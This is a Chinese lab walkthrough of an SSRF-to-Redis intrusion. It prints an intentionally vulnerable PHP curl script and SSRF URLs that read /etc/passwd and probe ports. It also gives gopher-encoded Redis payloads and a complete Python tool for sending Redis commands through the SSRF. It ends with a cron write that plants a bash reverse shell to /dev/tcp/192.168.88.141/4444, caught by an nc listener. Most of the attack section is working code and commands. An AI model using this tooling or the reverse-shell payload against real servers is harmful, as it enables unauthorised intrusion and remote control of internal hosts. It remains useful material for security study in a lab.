基于SSRF+Redis的内网渗透
一、WEB服务器配置
1、丑陋的拓扑图
2、添加网卡
网卡二选择vmnet1,后面有没有自定义都行,目的是让主机无法与网卡2通信
3、设置为固定IP
#查询当前网卡
[root@CentOS-2 ~]# ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.88.132 netmask 255.255.255.0 broadcast 192.168.88.255
inet6 fe80::91cf:5331:e98c:d6d2 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:2f:8d:05 txqueuelen 1000 (Ethernet)
RX packets 420 bytes 37770 (36.8 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 298 bytes 32658 (31.8 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
ens35: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.25.132 netmask 255.255.255.0 broadcast 192.168.25.255
inet6 fe80::f465:ce4f:dc20:e57a prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:2f:8d:0f txqueuelen 1000 (Ethernet)
RX packets 1 bytes 342 (342.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 16 bytes 1544 (1.5 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
#拷贝ens33的配置给ens35
[root@CentOS-2 ~]# cp /etc/sysconfig/network-scripts/ifcfg-ens33 /etc/sysconfig/network-scripts/ifcfg-ens35
#修改ens35网卡的配置文件
[root@CentOS-2 ~]# vim /etc/sysconfig/network-scripts/ifcfg-ens35
TYPE="Ethernet"
PROXY_METHOD="none"
BROWSER_ONLY="no"
BOOTPROTO="static"
DEFROUTE="yes"
IPV4_FAILURE_FATAL="no"
IPV6INIT="yes"
IPV6_AUTOCONF="yes"
IPV6_DEFROUTE="yes"
IPV6_FAILURE_FATAL="no"
IPV6_ADDR_GEN_MODE="stable-privacy"
NAME="ens35"
UUID="ba3657b9-7928-40ea-ac30-f4d6a031fc8i"
#默认网卡
DEVICE="ens33"
ONBOOT="yes"
IPV6_PRIVACY="no"
IPADDR=10.0.0.1
NETMASK=255.255.255.0
GATEWAY=10.0.0.254
#重启所有网卡
[root@CentOS-2 ~]# systemctl restart network
[root@CentOS-2 ~]# ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.88.132 netmask 255.255.255.0 broadcast 192.168.88.255
inet6 fe80::91cf:5331:e98c:d6d2 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:2f:8d:05 txqueuelen 1000 (Ethernet)
RX packets 1447 bytes 120592 (117.7 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 920 bytes 105514 (103.0 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
ens35: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.0.1 netmask 255.255.255.0 broadcast 10.0.0.255
inet6 fe80::20c:29ff:fe2f:8d0f prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:2f:8d:0f txqueuelen 1000 (Ethernet)
RX packets 1 bytes 342 (342.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 36 bytes 2960 (2.8 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4 bytes 416 (416.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4 bytes 416 (416.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
4、安装并启用lampp服务
[root@CentOS-2 ~]# /opt/lampp/lampp start
Starting XAMPP for Linux 5.6.40-1...
XAMPP: Starting Apache...ok.
XAMPP: Starting MySQL...ok.
XAMPP: Starting ProFTPD...ok.
这里就不演示怎么安装xampp服务了
5、检查配置
是否能访问http服务
检查是否能和本机通信
二、Redis服务器配置
1、修改网卡
2、修改IP地址
#修改为备份文件
[root@localhost ~]# mv /etc/sysconfig/network-scripts/ifcfg-ens33 /etc/sysconfig/network-scripts/ifcfg-ens33.bak
#拷贝
[root@localhost ~]# cp /etc/sysconfig/network-scripts/ifcfg-ens33.bak /etc/sysconfig/network-scripts/ifcfg-ens33
#修改配置文件
[root@localhost ~]# vim /etc/sysconfig/network-scripts/ifcfg-ens33
#重启网卡
[root@localhost ~]# systemctl restart network
把之前的配置做上保存,然后拷贝一个出来,修改一下IP地址和网关
3、redis.conf配置修改
#修改访问地址
[root@localhost redis-5.0.4]# cat redis.conf |grep "bind 0.0.0.0"
bind 0.0.0.0
#关闭安全模式
[root@localhost redis-5.0.4]# cat redis.conf |grep "protected-mode"
protected-mode no
#密码
[root@localhost ~]# cat redis-5.0.4/redis.conf |grep "^requirepass "
requirepass sword
#使用配置文件启动redis后台启动
[root@localhost redis-5.0.4]# redis-server /root/redis-5.0.4/reids.conf &
4、检查配置
检查内网redis服务器是否通信
[root@CentOS-2 ~]# ping 10.0.0.2
PING 10.0.0.2 (10.0.0.2) 56(84) bytes of data.
64 bytes from 10.0.0.2: icmp_seq=1 ttl=64 time=0.263 ms
64 bytes from 10.0.0.2: icmp_seq=2 ttl=64 time=0.258 ms
^C
--- 10.0.0.2 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1003ms
rtt min/avg/max/mdev = 0.258/0.260/0.263/0.016 ms
检查是否与redis通信
[root@CentOS-2 ~]# telnet 10.0.0.2 6379
Trying 10.0.0.2...
Connected to 10.0.0.2.
Escape character is '^]'.
auth sword
+OK
quit
+OK
Connection closed by foreign host.
selinux关闭
[root@localhost ~]# cat /etc/selinux/config |grep "^SELINUX"
SELINUX=disabled
SELINUXTYPE=targeted
三、SSRF漏洞复现
1、SSRF.php
<?php
#创建一个curl方法
function curl($url){
#实例化
$ch = curl_init();
#设置参数
curl_setopt($ch, CURLOPT_URL, $url);
#设置是否返回响应头,这里是0代表不用返回,则以相反
curl_setopt($ch, CURLOPT_HEADER, 0);
#发送请求
curl_exec($ch);
#关闭连接
curl_close($ch);
#如果报错就输出报错信息
echo curl_error($ch);
}
#接收POST或者GET请求方式url值
$url = $_REQUEST['url'];
#调用curl方法
curl($url);
?>
如果不能访问arp文件请更改PHP版本或者
<?php
print_r(file_get_contents($_REQUEST['url']));
?>
查看完之后要把php代码改成上面第一个才能以下操作,切记
2、检验代码漏洞
访问
http://192.168.88.132/sundry/ssrf.php?url=dict://127.0.0.1:22/
查看是否开启22号端口
访问
http://192.168.88.132/sundry/ssrf.php?url=dict://127.0.0.1:3306/
查看是否开启3306号端口(mysql的端口)
访问:
http://192.168.88.132/sundry/ssrf.php?url=file:///etc/passwd
查看文件/etc/passwd
四、漏洞利用
1、内网IP地址扫描
从A段网络开始扫描或者去查看路由表
http://192.168.88.132/sundry/ssrf.php?url=file:///proc/net/arp
从1-254扫一遍
发现2个主机
2、端口扫描
添加变量
添加常用端口
发现存在redis服务
3、Redis密码爆破
更换参数
导入字典开始爆破
爆破成功
五、Redis协议分析
1、抓包分析
//套接字解释
*2 是个参数
$4 auth的长度
$5 sword的长度
*1 一个参数
$4 info的长度
#前后都是固定的
前面是连接
后面是qiut退出
更详细的通信规范可以参考:
https://www.cnblogs.com/oxspirt/p/12764683.html
2、gopher伪协议
Gopher是一种分布式的文档传递服务。它允许用户以无缝的方式探索、搜索和检索驻留在不同位置的信息。gopher可以构造各种HTTP请求包,所以gopher在SSRF漏洞利用中充当万金油的角色
*2
$4
auth
$5
sword
*1
$4
info
*1
$4
quit
把以上的命令用url编码一次
*2%0A%244%0Aauth%0A%245%0Asword%0A*1%0A%244%0Ainfo%0A*1%0A%244%0Aquit
因为编码是把\r默认取消掉了所以我们需要把它加上
*2%0D%0A%244%0D%0Aauth%0D%0A%245%0D%0Asword%0D%0A*1%0D%0A%244%0D%0Ainfo%0D%0A*1%0D%0A%244%0D%0Aquit
因为浏览器会解析一次url解码,所以我们还需要来一次url转码
*2%250D%250A%25244%250D%250Aauth%250D%250A%25245%250D%250Asword%250D%250A*1%250D%250A%25244%250D%250Ainfo%250D%250A*1%250D%250A%25244%250D%250Aquit
3、利用brup发包
六、python实现交互式
1、python代码
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
"""
@当前项目 :python
@当前脚本 :redis交互式.py
@创建人 :Sword
@时间 :2023/11/7 0:08
@脚本说明 :复现redis+ssrf漏洞
"""
#正则模块
import re
#url转码模块
from urllib.parse import quote
#请求模块
import requests
#命令分解为redis格式
def command_data(data):
#使用正则分解data
data = re.findall(r'"[^"]+"|\S+',data)
#得到长度
num = len(data)
#得到多少个参数
command =f'*{num}\r\n'
#循环里面的单独参数
for i in data:
#算出字符串长度
param_len = len(i)
#拼接
command += f'${param_len}\r\n{i}\r\n'
#返回整个命令的redis格式
return command
def encode_gopher(data):
#把redis格式的字符串进行url转码
data = quote(quote(data))
#返回转码之后的值
return data
#get请求
def ssrf_request(data):
#url地址
burp0_url = f"http://192.168.88.132:80/sundry/ssrf.php?url=gopher://10.0.0.2:6379/_{data}"
#使用get请求
html = requests.get(burp0_url).text
return html
if __name__ == '__main__':
#密码转码
passwd = command_data('auth sword')
#死循环
while True:
#获取命令
tcp_command = input("10.0.0.2:6379>")
#判断是否结束脚本
if tcp_command == 'exit':
exit()
#分解命令
command = command_data(tcp_command)
#并接之后url转码
url_command = encode_gopher(passwd+command+command_data('quit'))
#提交get请求
html = ssrf_request(url_command)
# 统计 "+OK" 出现的次数
ok_count = html.count("+OK")
#判断+OK次数
if ok_count >= 2:
# 找到最后一次出现 "+OK" 的位置
index = html.rfind("+OK")
# 保留最后一次 "+OK" 并删去后面的所有字符串
cleaned_response = html[:index + 3]
else:
cleaned_response = html
print(cleaned_response)
2、info演示
3、升级python代码
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
"""
@当前项目 :python
@当前脚本 :redis交互式.py
@创建人 :Sword
@时间 :2023/11/7 0:08
@脚本说明 :复现redis+ssrf漏洞
"""
#正则模块
import re
#url转码模块
from urllib.parse import quote
#请求模块
import requests
#命令分解为redis格式
def command_data(data):
#使用正则分解data
data = re.findall(r'"[^"]+"|\S+',data)
#得到长度
num = len(data)
#得到多少个参数
command =f'*{num}\r\n'
#循环里面的单独参数
for i in data:
#算出字符串长度
param_len = len(i)
#拼接
command += f'${param_len}\r\n{i}\r\n'
#返回整个命令的redis格式
return command
def encode_gopher(data):
#把redis格式的字符串进行url转码
data = quote(quote(data))
#返回转码之后的值
return data
#get请求
def ssrf_request(data):
#url地址
burp0_url = f"http://192.168.88.132:80/sundry/ssrf.php?url=gopher://10.0.0.2:6379/_{data}"
#使用get请求
html = requests.get(burp0_url).text
return html
#检测命令是否带\n
def detection(data):
redis_command = ""
if r"\n" in data :
fruits = data.split(r'\n')
for i in fruits:
redis_command +=i+"\n"
return redis_command
def redis_null(tcp_command):
# 分解命令
command = command_data(tcp_command)
# 并接之后url转码
url_command = encode_gopher(passwd + command + command_data('quit'))
# 提交get请求
html = ssrf_request(url_command)
# 统计 "+OK" 出现的次数
ok_count = html.count("+OK")
# 判断+OK次数
if ok_count >= 2:
# 找到最后一次出现 "+OK" 的位置
index = html.rfind("+OK")
# 保留最后一次 "+OK" 并删去后面的所有字符串
cleaned_response = html[:index + 3]
else:
cleaned_response = html
return cleaned_response
if __name__ == '__main__':
#密码转码
passwd = command_data('auth sword')
#死循环
while True:
#获取命令
tcp_command = input("10.0.0.2:6379>")
#判断是否结束脚本
if tcp_command == 'exit':
exit()
redis = detection(tcp_command)
if redis == "":
print(redis_null(tcp_command))
else:
print(redis_null(redis))
修改代码是因为input返回的值是纯字符串格式,就会导致我写入文件的时候\n是以字符串形式写入进去的
七、写入定时任务提权
1、kali开启监听
┌──(root㉿kali-3)-[/home/sword]
└─# nc -lvvp 4444
listening on [any] 4444 ...
2、写入反弹shell
#创建写入文件名
10.0.0.2:6379>config set dbfilename root
+OK
+OK
+OK
#写入路径
10.0.0.2:6379>config set dir /var/spool/cron
+OK
+OK
+OK
#写入内容
10.0.0.2:6379>set test "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.88.141/4444 0>&1\n\n"
+OK
+OK
+OK
#保存
10.0.0.2:6379>save
+OK
+OK
+OK
写到这里发现,一开始搭建环境的时候就不能连接外网,现在反弹过来外网也收不到,所以只能先把跳板机给拿下然后做个端口映射,这里我直接贴个图片,就是Linux的定时任务内容吧